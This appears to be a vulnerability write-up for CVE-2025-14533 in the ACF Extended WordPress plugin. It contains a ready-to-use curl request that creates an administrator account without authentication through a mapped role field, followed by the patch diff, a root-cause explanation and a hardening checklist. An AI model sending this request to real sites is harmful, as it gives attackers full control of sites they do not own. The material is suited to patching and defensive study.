The Exploit
Unauthenticated attackers only need access to a front-end ACF Extended form where the role field is mapped to the user-registration action.
curl -i -X POST "http://TARGET/?acf_form=submit" \
-H "Content-Type: application/x-www-form-urlencoded" \
--data-urlencode "user_login=eviladmin" \
--data-urlencode "[email protected]" \
--data-urlencode "user_pass=Str0ngP@ss!" \
--data-urlencode "role=administrator"
The server accepts the request and returns a success-like response from the ACF form handler, creating a WordPress account with administrator privileges. After the request, the attacker can log in as eviladmin and access the site as an administrator.
What the Patch Did
Before
// apply tags
$action = $this->setup_action($action, $form);
// switch type
switch($action['type']){
After
// apply tags
$action = $this->setup_action($action, $form);
// security measure
// check 'promote_users' capability for insert/update administrator role
if($action['type'] === 'insert_user' || $action['type'] === 'update_user'){
// get role as array
$role = acf_get_array($action['save']['role']);
// check capability
if((in_array('administrator', $role, true) || in_array('super_admin', $role, true)) && !current_user_can('promote_users')){
// filters
$validate = true;
$validate = apply_filters("acfe/form/validate_user_admin_role", $validate, $form, $action);
$validate = apply_filters("acfe/form/validate_user_admin_role/form={$form['name']}", $validate, $form, $action);
$validate = apply_filters("acfe/form/validate_user_admin_role/action={$action['name']}", $validate, $form, $action);
// should validate
if($validate){
return acfe_add_validation_error('', $errors['generic']);
}
}
}
// switch type
switch($action['type']){
The patch adds a WordPress capability check using current_user_can('promote_users') before allowing administrator or super_admin role assignment during insert_user or update_user actions.
Root Cause
This is a privilege escalation bug (CWE-269) caused by missing authorization on attacker-controlled role input. ACF Extended allowed the insert_user form action to source the role from a mapped custom field, so an unauthenticated request could submit role=administrator; that value flowed into the user-creation path and was accepted without checking whether the submitter had permission to promote users.
Why It Works
The single load-bearing fix is the current_user_can('promote_users') check inside the if that guards admin role assignment. Without that check, the plugin still accepts administrator or super_admin from the mapped role field; the surrounding in_array() checks only identify which roles need protection. The extra filter hooks are there to allow site owners to override validation behavior, but the core defense is the capability gate.
Hardening Checklist
- Use
current_user_can('promote_users')before assigning high-privilege roles in any user creation or update flow. - Avoid allowing attacker-controlled form fields to map directly to user roles; whitelist roles server-side instead.
- Normalize role input with
acf_get_array()or equivalent and validate against expected values before using it. - Require
wp_verify_nonce()on frontend user-registration submissions to prevent CSRF-assisted abuse. - Log or reject any attempt to request
administrator/super_adminrole assignment from unauthenticated or low-privileged users.
References
- https://nvd.nist.gov/vuln/detail/CVE-2025-14533